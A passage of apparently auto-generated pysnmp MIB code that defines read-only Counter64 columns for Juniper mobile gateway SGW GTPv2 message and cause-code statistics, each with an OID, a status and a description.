jnxMbgSgwRelAcsBrRespRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 71), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwRelAcsBrRespRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwRelAcsBrRespRx.setDescription('Number of GTP V2 Release Access Bearer Response received.') jnxMbgSgwRelAcsBrRespTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 72), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwRelAcsBrRespTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwRelAcsBrRespTx.setDescription('Number of GTP V2 Release Access Bearer Response sent.') jnxMbgSgwCrIndTunReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 73), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwCrIndTunReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwCrIndTunReqRx.setDescription('Number of GTP V2 Create Indirect Tunnel Forward Request Received') jnxMbgSgwCrIndTunReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 74), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwCrIndTunReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwCrIndTunReqTx.setDescription('Number of GTP V2 Create Indirect Tunnel Forward Request sent') jnxMbgSgwCrIndTunRespRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 75), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwCrIndTunRespRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwCrIndTunRespRx.setDescription('Number of GTP V2 Create Indirect Tunnel Forward Response Received') jnxMbgSgwCrIndTunRespTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 76), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwCrIndTunRespTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwCrIndTunRespTx.setDescription('Number of GTP V2 Create Indirect Tunnel Forward Response sent') jnxMbgSgwDelIndTunReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 77), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelIndTunReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelIndTunReqRx.setDescription('Number of GTP V2 Delete Indirect Tunnel Forward Request Received') jnxMbgSgwDelIndTunReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 78), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelIndTunReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelIndTunReqTx.setDescription('Number of GTP V2 Delete Indirect Tunnel Forward Request sent.') jnxMbgSgwDelIndTunRespRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 79), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelIndTunRespRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelIndTunRespRx.setDescription('Number of GTP V2 Delete Indirect Tunnel Forward Response Received') jnxMbgSgwDelIndTunRespTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 80), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDelIndTunRespTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDelIndTunRespTx.setDescription('Number of GTP V2 Delete Indirect Tunnel Forward Response sent.') jnxMbgSgwDlDataNotifRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 81), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDlDataNotifRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDlDataNotifRx.setDescription('Number of GTP V2 Downlink Data Notify received.') jnxMbgSgwDlDataNotifTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 82), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDlDataNotifTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDlDataNotifTx.setDescription('Number of GTP V2 Downlink Data Notify Sent.') jnxMbgSgwDlDataAckRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 83), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDlDataAckRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDlDataAckRx.setDescription('Number of GTP V2 Downlink Data Notify Acknowledgement received.') jnxMbgSgwDlDataAckTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 84), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDlDataAckTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDlDataAckTx.setDescription('Number of GTP V2 Downlink Data Notify Acknowledgement Sent.') jnxMbgSgwDlDataNotiFlrIndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 85), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDlDataNotiFlrIndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDlDataNotiFlrIndRx.setDescription('Number of GTP V2 Downlink Data Notification fail received.') jnxMbgSgwDlDataNotiFlrIndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 86), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwDlDataNotiFlrIndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwDlDataNotiFlrIndTx.setDescription('Number of GTP V2 Downlink Data Notification fail Sent.') jnxMbgSgwStopPagingIndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 87), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwStopPagingIndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwStopPagingIndRx.setDescription('Number of GTP V2 Number of Stop Paging Indication Messages Received.') jnxMbgSgwStopPagingIndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 88), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwStopPagingIndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwStopPagingIndTx.setDescription('Number of GTP V2 Number of Stop Paging Indicaton messages sent') jnxMbgSgwGtpV2ICsPageRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 89), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPageRx.setStatus('obsolete') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPageRx.setDescription('Number of GTPV2 packets received with cause Page.') jnxMbgSgwGtpV2ICsPageTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 90), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPageTx.setStatus('obsolete') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPageTx.setDescription('Number of GTP packets sent with cause Page.') jnxMbgSgwGtpV2ICsReqAcceptRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 91), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsReqAcceptRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsReqAcceptRx.setDescription('Number of GTPV2 packets received with cause Request Accept.') jnxMbgSgwGtpV2ICsReqAcceptTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 92), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsReqAcceptTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsReqAcceptTx.setDescription('Number of GTP packets sent with cause Request Accept.') jnxMbgSgwGtpV2ICsAcceptPartRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 93), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsAcceptPartRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsAcceptPartRx.setDescription('Number of GTPV2 packets received with cause Accept Partial.') jnxMbgSgwGtpV2ICsAcceptPartTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 94), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsAcceptPartTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsAcceptPartTx.setDescription('Number of GTP packets sent with cause Accept Partial.') jnxMbgSgwGtpV2ICsNewPTNPrefRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 95), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNewPTNPrefRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNewPTNPrefRx.setDescription('Number of GTPV2 packets received with cause New PDN type due to Network Preference.') jnxMbgSgwGtpV2ICsNewPTNPrefTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 96), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNewPTNPrefTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNewPTNPrefTx.setDescription('Number of GTP packets sent with cause New PDN type due to Network Preference') jnxMbgSgwGtpV2ICsNewPTSIAdbrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 97), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNewPTSIAdbrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNewPTSIAdbrRx.setDescription('Number of GTPV2 packets received with cause New PDN type due to Single Address Bearer.') jnxMbgSgwGtpV2ICsNewPTSIAdbrTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 98), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNewPTSIAdbrTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNewPTSIAdbrTx.setDescription('Number of GTP packets sent with cause New PDN type due to Single Address Bearer.') jnxMbgSgwGtpV2ICsCtxNotFndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 99), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsCtxNotFndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsCtxNotFndRx.setDescription('Number of GTPV2 packets received with cause Context not found.') jnxMbgSgwGtpV2ICsCtxNotFndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 100), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsCtxNotFndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsCtxNotFndTx.setDescription('Number of GTP packets sent with cause Context not found.') jnxMbgSgwGtpV2ICsInvMsgFmtRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 101), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInvMsgFmtRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInvMsgFmtRx.setDescription('Number of GTPV2 packets received with cause Invalid Message Format.') jnxMbgSgwGtpV2ICsInvMsgFmtTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 102), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInvMsgFmtTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInvMsgFmtTx.setDescription('Number of GTP packets sent with cause Invalid Message Format.') jnxMbgSgwGtpV2ICsVerNotSuppRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 103), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsVerNotSuppRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsVerNotSuppRx.setDescription('Number of GTPV2 packets received with cause Version not Supported.') jnxMbgSgwGtpV2ICsVerNotSuppTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 104), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsVerNotSuppTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsVerNotSuppTx.setDescription('Number of GTP packets sent with cause Version not Supported.') jnxMbgSgwGtpV2ICsInvLenRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 105), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInvLenRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInvLenRx.setDescription('Number of GTPV2 packets received with cause Invalid Length.') jnxMbgSgwGtpV2ICsInvLenTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 106), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInvLenTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsInvLenTx.setDescription('Number of GTP packets sent with cause Invalid Length.') jnxMbgSgwGtpV2ICsServNotSuppRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 107), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsServNotSuppRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsServNotSuppRx.setDescription('Number of GTPV2 packets received with cause Service Not supported.') jnxMbgSgwGtpV2ICsServNotSuppTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 108), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsServNotSuppTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsServNotSuppTx.setDescription('Number of GTP packets sent with cause Service Not supported.') jnxMbgSgwGtpV2ICsManIEIncorrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 109), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsManIEIncorrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsManIEIncorrRx.setDescription('Number of GTPV2 packets received with cause Mandatory IE incorrect.') jnxMbgSgwGtpV2ICsManIEIncorrTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 110), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsManIEIncorrTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsManIEIncorrTx.setDescription('Number of GTP packets sent with cause Mandatory IE incorrect.') jnxMbgSgwGtpV2ICsManIEMissRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 111), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsManIEMissRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsManIEMissRx.setDescription('Number of GTPV2 packets received with cause Mandatory IE Missing.') jnxMbgSgwGtpV2ICsManIEMissTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 112), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsManIEMissTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsManIEMissTx.setDescription('Number of GTP packets sent with cause Mandatory IE Missing.') jnxMbgSgwGtpV2ICsOptIEIncorrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 113), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsOptIEIncorrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsOptIEIncorrRx.setDescription('Number of GTPV2 packets received with cause Optional IE Incorrect.') jnxMbgSgwGtpV2ICsOptIEIncorrTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 114), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsOptIEIncorrTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsOptIEIncorrTx.setDescription('Number of GTP packets sent with cause Optional IE Incorrect.') jnxMbgSgwGtpV2ICsSysFailRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 115), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsSysFailRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsSysFailRx.setDescription('Number of GTPV2 packets received with cause System Failure.') jnxMbgSgwGtpV2ICsSysFailTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 116), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsSysFailTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsSysFailTx.setDescription('Number of GTP packets sent with cause System Failure.') jnxMbgSgwGtpV2ICsNoResRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 117), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNoResRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNoResRx.setDescription('Number of GTPV2 packets received with cause No Resource.') jnxMbgSgwGtpV2ICsNoResTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 118), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNoResTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNoResTx.setDescription('Number of GTP packets sent with cause No Resource.') jnxMbgSgwGtpV2ICsTFTSMANTErRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 119), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsTFTSMANTErRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsTFTSMANTErRx.setDescription('Number of GTPV2 packets received with cause TFT Symantic Error.') jnxMbgSgwGtpV2ICsTFTSMANTErTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 120), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsTFTSMANTErTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsTFTSMANTErTx.setDescription('Number of GTP packets sent with cause TFT Symantic Error.') jnxMbgSgwGtpV2ICsTFTSysErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 121), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsTFTSysErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsTFTSysErrRx.setDescription('Number of GTPV2 packets received with cause TFT System Error.') jnxMbgSgwGtpV2ICsTFTSysErrTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 122), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsTFTSysErrTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsTFTSysErrTx.setDescription('Number of GTP packets sent with cause TFT System Error.') jnxMbgSgwGtpV2ICsPkFltManErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 123), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPkFltManErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPkFltManErrRx.setDescription('Number of GTPV2 packets received with cause Packet Filter Symantic Error.') jnxMbgSgwGtpV2ICsPkFltManErrTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 124), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPkFltManErrTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPkFltManErrTx.setDescription('Number of GTP packets sent with cause Packet Filter Symantic Error.') jnxMbgSgwGtpV2ICsPkFltSynErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 125), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPkFltSynErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPkFltSynErrRx.setDescription('Number of GTPV2 packets received with cause Packet Filter Syntax Error.') jnxMbgSgwGtpV2ICsPkFltSynErrTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 126), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPkFltSynErrTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPkFltSynErrTx.setDescription('Number of GTP packets sent with cause Packet Filter Syntax Error.') jnxMbgSgwGtpV2ICsMisUnknAPNRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 127), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsMisUnknAPNRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsMisUnknAPNRx.setDescription('Number of GTPV2 packets received with cause Unknown APN.') jnxMbgSgwGtpV2ICsMisUnknAPNTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 128), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsMisUnknAPNTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsMisUnknAPNTx.setDescription('Number of GTP packets sent with cause Unknown APN.') jnxMbgSgwGtpV2ICsUnexpRptIERx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 129), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUnexpRptIERx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUnexpRptIERx.setDescription('Number of GTPV2 packets received with cause Unexpected Repeated IE.') jnxMbgSgwGtpV2ICsUnexpRptIETx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 130), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUnexpRptIETx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsUnexpRptIETx.setDescription('Number of GTP packets sent with cause Unexpected Repeated IE.') jnxMbgSgwGtpV2ICsGREKeyNtFdRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 131), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsGREKeyNtFdRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsGREKeyNtFdRx.setDescription('Number of GTPV2 packets received with cause GRE Key Not Found.') jnxMbgSgwGtpV2ICsGREKeyNtFdTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 132), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsGREKeyNtFdTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsGREKeyNtFdTx.setDescription('Number of GTP packets sent with cause GRE Key Not Found.') jnxMbgSgwGtpV2ICsRelocFailRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 133), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsRelocFailRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsRelocFailRx.setDescription('Number of GTPV2 packets received with cause Relocation Failed.') jnxMbgSgwGtpV2ICsRelocFailTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 134), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsRelocFailTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsRelocFailTx.setDescription('Number of GTP packets sent with cause Relocation Failed.') jnxMbgSgwGtpV2ICsDeniedINRatRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 135), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsDeniedINRatRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsDeniedINRatRx.setDescription('Number of GTPV2 packets received with cause Denied in RAT.') jnxMbgSgwGtpV2ICsDeniedINRatTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 136), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsDeniedINRatTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsDeniedINRatTx.setDescription('Number of GTP packets sent with cause Denied in RAT.') jnxMbgSgwGtpV2ICsPTNotSuppRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 137), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPTNotSuppRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPTNotSuppRx.setDescription('Number of GTPV2 packets received with cause PDN Type Not Supported.') jnxMbgSgwGtpV2ICsPTNotSuppTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 138), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPTNotSuppTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsPTNotSuppTx.setDescription('Number of GTP packets sent with cause PDN Type Not Supported.') jnxMbgSgwGtpV2ICsAllDynAdOccRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 139), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsAllDynAdOccRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsAllDynAdOccRx.setDescription('Number of GTPV2 packets received with cause Allocated Dynamic Address Occupied.') jnxMbgSgwGtpV2ICsAllDynAdOccTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 140), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsAllDynAdOccTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsAllDynAdOccTx.setDescription('Number of GTP packets sent with cause Allocated Dynamic Address Occupied.') jnxMbgSgwGtpV2ICsNOTFTUECTXRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 141), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNOTFTUECTXRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpV2ICsNOTFTUECTXRx.setDescription('Number of GTPV2 packets received with cause UE Context Without TFT Exists.') 